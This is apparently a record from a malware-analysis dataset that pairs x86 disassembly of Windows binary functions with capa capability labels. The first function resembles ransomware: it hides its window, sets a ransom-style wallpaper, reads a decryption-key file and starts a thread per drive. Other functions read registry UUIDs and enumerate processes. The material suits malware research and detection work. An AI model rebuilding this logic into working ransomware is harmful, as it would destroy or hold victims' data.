joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4212c0
Capabilities:
Change the wallpaper
Create thread
Get common file path
Get disk information
Hide graphical window
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x2000
push 0
push 0
push 0
push 0x67
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
mov esi, eax
test esi, esi
je 0x421375
lea eax, [ebp - 0x44c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x244]
push str._s_tmp.bmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x244]
call fcn.004215c0
test eax, eax
je 0x42135e
push 3
lea eax, [ebp - 0x244]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
mov ecx, str.Failed_to_set_wallpaper._n
mov edx, str.Wallpaper_set_successfully._n
cmovne ecx, edx
jmp 0x421363
mov ecx, str.Failed_to_save_bitmap_to_file._n
push ecx
call fcn.00401040
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x421382
push str.Failed_to_load_bitmap_from_resource._n
call fcn.00401040
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x421810
push 0
push 0
mov dword [0x431c80], 0
call ebx
mov ecx, dword [0x431c80]
push 0
push 0
push 0
push 0x422750
mov dword [ecx*4 + 0x431c90], eax
inc ecx
push 0
push 0
mov dword [0x431c80], ecx
call ebx
mov ecx, dword [0x431c80]
mov dword [ecx*4 + 0x431c90], eax
lea eax, [ebp - 0x348]
push eax
push 0
push 0
push 0x1a
inc ecx
push 0
mov dword [0x431c80], ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x140]
push str._sdec_key.dat
push eax
call fcn.004010d0
lea eax, [ebp - 0x140]
push 0x4291d8
push eax
call fcn.0040ba13
mov esi, eax
add esp, 0x14
test esi, esi
je 0x42144d
push esi
push 0x24
lea eax, [ebp - 0x3c]
push 1
push eax
call fcn.0040c47b
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0x18], 0
call fcn.00422050
push esi
mov byte [0x42c918], 0
call fcn.0040bb4f
add esp, 0x14
mov edi, 0x61
mov dword [ebp - 0x14], 0x3a0063
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0x5c
movq qword [ebp - 0xc], xmm0
mov ebx, edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub eax, 2
je 0x421496
sub eax, 1
je 0x421496
sub eax, 1
je 0x421496
mov ecx, dword [0x431c80]
jmp 0x4214df
push 4
call fcn.00401114
push 0x65
push ebx
mov esi, eax
push 0x42936c
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push esi
push 0x4221e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x431c80]
mov dword [ecx*4 + 0x431c90], eax
inc ecx
inc dword [0x431c84]
mov dword [0x431c80], ecx
inc edi
inc ebx
cmp di, 0x7a
jbe 0x421471
pop edi
pop esi
pop ebx
push 0xffffffffffffffff
push 1
push 0x431c90
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4215c0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422920
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, edx
mov dword [ebp - 4], 0
push 2
push 0x67
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov eax, 0x4d42
mov word [ebp - 0x2c], ax
lea ecx, [ebx + 0xe]
mov dword [ebp - 0x2a], ecx
mov dword [ebp - 0x22], 0x36
xor eax, eax
mov word [ebp - 0x24], ax
mov word [ebp - 0x26], ax
push eax
lea eax, [ebp - 0x14]
push eax
push 0xe
lea eax, [ebp - 0x2c]
push eax
push edi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
call esi
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push dword [ebp - 0x18]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ad19
Capabilities:
Reference http user-agent string

Disassembly:
push 0x28
mov eax, 0x438464
call fcn.00425be8
mov esi, dword [ebp + 8]
xor edi, edi
push 0x43e3cc
mov ecx, esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], edi
call fcn.004052ba
mov dword [ebp - 4], edi
xor ebx, ebx
mov edi, str.Mozilla_5.0__Windows_NT_10.0_
inc ebx
push edi
mov dword [ebp - 0x30], ebx
call fcn.00424eb0
pop ecx
push eax
push edi
mov ecx, esi
call fcn.00405245
call fcn.00419f57
push eax
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.0040bfcc
add esp, 0xc
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.004052e9
push 0
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
call fcn.00404d5c
push 0x4411a0
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.0040bfcc
add esp, 0xc
push eax
mov ecx, esi
mov dword [ebp - 4], 2
call fcn.004052e9
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00404d5c
mov eax, esi
call fcn.00425c6b
ret 4

Function at 0x41b37f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x4496f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41b3e7
jmp 0x41b3d6
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00433c0f
pop ecx
pop ecx
test eax, eax
jne 0x41b3d6
mov bl, 1
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41b3c1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.004235da
leave
ret
Function at 0x420589
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x4496f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x38]
push eax
push esi
call dword [0x45bfe0]
test eax, eax
jne 0x4205cc
mov eax, 0x200
jmp 0x420755
mov ecx, dword [ebp - 0x38]
xor eax, eax
push ebx
xor ebx, ebx
inc eax
mov dword [ebp - 0x40], ecx
and dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ebx
je 0x4205e3
mov dword [ebp - 0x3c], eax
test cl, 2
je 0x4205ec
or dword [ebp - 0x3c], 2
test cl, 4
je 0x4205f5
or dword [ebp - 0x3c], 4
mov eax, ecx
and eax, 0x10
je 0x420600
or dword [ebp - 0x3c], 0x10
test cl, 0x20
je 0x420609
or dword [ebp - 0x3c], 0x20
cmp eax, ebx
je 0x420616
or dword [ebp - 0x3c], 0x40000000
jmp 0x42061d
or dword [ebp - 0x3c], 0x80000000
or dword [ebp - 0x3c], 0x1000000
cmp dword [ebp - 0x40], ebx
jne 0x420630
or dword [ebp - 0x3c], 0x800000
push ebx
push esi
call dword [0x45c0c8]
mov dword [ebp - 0x48], eax
cmp eax, 0x28
jbe 0x4206d5
push ebx
push ebx
push ebx
push esi
call dword [0x45beec]
push ebx
lea eax, [ebp - 0x44]
push eax
push 2
lea eax, [ebp - 0x40]
push eax
push esi
call dword [0x45c00c]
push ebx
push ebx
push 0x24
push esi
call dword [0x45beec]
push ebx
lea eax, [ebp - 0x44]
push eax
push 4
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [0x45c00c]
mov eax, 0x54ad
cmp word [ebp - 0x40], ax
jne 0x4206d5
mov eax, dword [ebp - 0x4c]
lea ecx, [eax + 0x34]
cmp dword [ebp - 0x48], ecx
jbe 0x4206d5
push ebx
push ebx
push eax
push esi
call dword [0x45beec]
push ebx
lea eax, [ebp - 0x44]
push eax
push 4
lea eax, [ebp - 0x5c]
push eax
push esi
call dword [0x45c00c]
mov eax, dword [ebp - 0x5c]
cmp eax, 0x5a4d
je 0x4206ce
cmp eax, 0x454e
je 0x4206ce
cmp eax, 0x454c
je 0x4206ce
cmp eax, 0x4550
jne 0x4206d5
or dword [ebp - 0x3c], 0x400000
mov eax, dword [ebp - 0x58]
cmp eax, ebx
je 0x4206e1
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
cmp eax, ebx
je 0x4206ed
mov ecx, dword [ebp - 0x48]
mov dword [eax], ecx
cmp edi, ebx
je 0x420726
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.004204f4
push dword [ebp - 0x20]
mov dword [edi], eax
push dword [ebp - 0x24]
mov dword [edi + 4], edx
call fcn.004204f4
push dword [ebp - 0x30]
mov dword [edi + 8], eax
push dword [ebp - 0x34]
mov dword [edi + 0xc], edx
call fcn.004204f4
add esp, 0x18
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], edx
mov esi, dword [ebp - 0x54]
cmp esi, ebx
pop ebx
je 0x420753
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00420518
movzx eax, word [ebp - 0x40]
movzx ecx, word [ebp - 0x3c]
shl eax, 0x10
add esp, 0x10
or eax, ecx
mov dword [esi], eax
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004235da
leave
ret
Function at 0x421ac1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x421cc9
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x421b3b
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x421b7e
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x421b7e
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x421b65
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
push esi
call fcn.0041f8a1
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
pop ecx
cmp ebx, eax
jbe 0x421b7e
mov ebx, eax
cmp ebx, 3
jb 0x421c43
lea eax, [ebx - 3]
push eax
mov eax, dword [esi + 0x6af84]
sub eax, dword [esi + 0x6af88]
push eax
push esi
call fcn.0041f426
sub dword [esi + 0x6af90], ebx
add esp, 0xc
mov dword [ebp + 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x421c10
cmp eax, 3
jb 0x421c10
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x421bbe
jmp 0x421c66
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x421c6c
mov eax, dword [esi + 0x6af84]
movzx eax, byte [eax + esi + 0x1af70]
push eax
push 0
push esi
call fcn.0041f426
add esp, 0xc
dec dword [esi + 0x6af90]
mov dword [ebp + 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp + 8], 0
je 0x421ca8
mov eax, dword [esi + 0x6af74]
test eax, eax
js 0x421c85
lea ecx, [eax + esi + 0x1af70]
jmp 0x421c87
xor ecx, ecx
mov edx, dword [esi + 0x6af84]
push 0
sub edx, eax
push edx
push ecx
push esi
call fcn.0042193e
mov eax, dword [esi + 0x6af84]
add esp, 0x10
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x421cbb
push esi
call fcn.0041f9e5
pop ecx
cmp dword [esi + 0x6af90], 0
jne 0x421aeb
pop edi
mov eax, dword [esi + 0x6af74]
test eax, eax
js 0x421cdc
lea ecx, [eax + esi + 0x1af70]
jmp 0x421cde
xor ecx, ecx
mov edx, dword [esi + 0x6af84]
push 1
sub edx, eax
push edx
push ecx
push esi
call fcn.0042193e
add esp, 0x10
pop esi
pop ebx
leave
ret

Function at 0x4235da
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4496f0]
jne 0x4235e4
repz ret
jmp fcn.00429f6d
Function at 0x43224c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4496f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0042b639
and dword [ebp - 0x14], 0
cmp dword [0x45d110], 0
mov dword [ebp - 0x18], eax
jne 0x4322ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4323a7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4323a7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45d110], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45d114], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45d118], eax
call edi
push eax
call esi
mov dword [0x45d120], eax
test eax, eax
je 0x4322ff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45d11c], eax
mov eax, dword [0x45d11c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x432358
cmp dword [0x45d120], ecx
je 0x432358
push eax
call esi
push dword [0x45d120]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x432358
test ebx, ebx
je 0x432358
call edi
test eax, eax
je 0x43234f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x43234f
test byte [ebp - 8], 1
jne 0x432358
or dword [ebp + 0x10], 0x200000
jmp 0x43238b
mov eax, dword [0x45d114]
cmp eax, dword [ebp - 0x18]
je 0x43238b
push eax
call esi
test eax, eax
je 0x43238b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43238b
mov eax, dword [0x45d118]
cmp eax, dword [ebp - 0x18]
je 0x43238b
push eax
call esi
test eax, eax
je 0x43238b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45d110]
call esi
test eax, eax
je 0x4323a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4323a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004235da
leave
ret
Function at 0x402d70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435828
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x448070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x148], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x154], esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x402ddc
mov eax, dword [esi]
jmp 0x402dde
mov eax, esi
push 0
push 0x437274
mov ecx, esi
mov byte [eax], 0
call fcn.00404f90
lea eax, [ebp - 0x128]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x148], 1
call fcn.00402f60
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 4], 1
push str.SoftwareWinTrust_
push eax
call fcn.004010d0
add esp, 0x10
mov eax, dword [ebp - 0x114]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x402e4a
inc eax
lea ecx, [ebp - 0x128]
push eax
push dword [ebp - 0x128]
call fcn.0040b660
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x144]
lea eax, [ebp - 0x140]
mov dword [ebp - 0x114], 0xf
cmovae eax, dword [ebp - 0x140]
push ecx
push eax
push 0x80000001
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402f24
push 0x100
push eax
lea eax, [ebp - 0x110]
mov dword [ebp - 0x150], 1
push eax
call fcn.004155d0
add esp, 0xc
mov dword [ebp - 0x14c], 0x100
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x150]
push eax
push 0
push str.GenUUID
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402f18
cmp byte [ebp - 0x110], al
jne 0x402ef5
xor ecx, ecx
jmp 0x402f09
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402f00
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
mov ecx, esi
push eax
call fcn.00404f90
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x402f42
inc ecx
push ecx
push dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
call fcn.0040b660
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412728
mov esp, ebp
pop ebp
ret
Function at 0x403000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435828
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x448070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x148], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x154], esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x40306c
mov eax, dword [esi]
jmp 0x40306e
mov eax, esi
push 0
push 0x437274
mov ecx, esi
mov byte [eax], 0
call fcn.00404f90
lea eax, [ebp - 0x128]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x148], 1
call fcn.00402f60
push eax
lea eax, [ebp - 0x140]
mov dword [ebp - 4], 1
push str.SOFTWAREWinTrust_
push eax
call fcn.004010d0
add esp, 0x10
mov eax, dword [ebp - 0x114]
mov byte [ebp - 4], 3
cmp eax, 0x10
jb 0x4030da
inc eax
lea ecx, [ebp - 0x128]
push eax
push dword [ebp - 0x128]
call fcn.0040b660
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x144]
lea eax, [ebp - 0x140]
mov dword [ebp - 0x114], 0xf
cmovae eax, dword [ebp - 0x140]
push ecx
push eax
push 0x80000002
mov dword [ebp - 0x118], 0
mov byte [ebp - 0x128], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4031b4
push 0x100
push eax
lea eax, [ebp - 0x110]
mov dword [ebp - 0x150], 1
push eax
call fcn.004155d0
add esp, 0xc
mov dword [ebp - 0x14c], 0x100
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x150]
push eax
push 0
push str.GenUUID
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4031a8
cmp byte [ebp - 0x110], al
jne 0x403185
xor ecx, ecx
jmp 0x403199
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403190
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
mov ecx, esi
push eax
call fcn.00404f90
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x4031d2
inc ecx
push ecx
push dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
call fcn.0040b660
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412728
mov esp, ebp
pop ebp
ret
Function at 0x4031f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435866
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x448070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x208
push 0
push eax
mov dword [ebp - 0x264], 0
call fcn.004155d0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x801a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x403372
lea eax, [ebp - 0x230]
push eax
call fcn.00402f60
push str.config_
push eax
lea eax, [ebp - 0x248]
mov dword [ebp - 4], 0
push eax
call fcn.00401070
add esp, 0x10
mov eax, dword [ebp - 0x21c]
mov byte [ebp - 4], 2
cmp eax, 0x10
jb 0x4032a9
inc eax
lea ecx, [ebp - 0x230]
push eax
push dword [ebp - 0x230]
call fcn.0040b660
lea eax, [ebp - 0x248]
mov dword [ebp - 0x21c], 0xf
push eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0x220], 0
push eax
mov byte [ebp - 0x230], 0
call fcn.00406af0
add esp, 8
cmp dword [eax + 0x14], 8
jb 0x4032e2
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x218]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov eax, dword [ebp - 0x24c]
cmp eax, 8
jb 0x40330f
inc eax
lea ecx, [ebp - 0x260]
push eax
push dword [ebp - 0x260]
call fcn.004055a0
lea eax, [ebp - 0x218]
push eax
call fcn.00402b00
add esp, 4
test eax, eax
jne 0x403331
lea eax, [ebp - 0x218]
push eax
call fcn.00402a50
add esp, 4
push str.uuid
lea eax, [ebp - 0x218]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00401a30
mov ecx, dword [ebp - 0x234]
cmp ecx, 0x10
jb 0x40337e
inc ecx
push ecx
push dword [ebp - 0x248]
lea ecx, [ebp - 0x248]
call fcn.0040b660
jmp 0x40337e
push str.uuid
mov ecx, esi
call fcn.00401a30
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00412728
mov esp, ebp
pop ebp
ret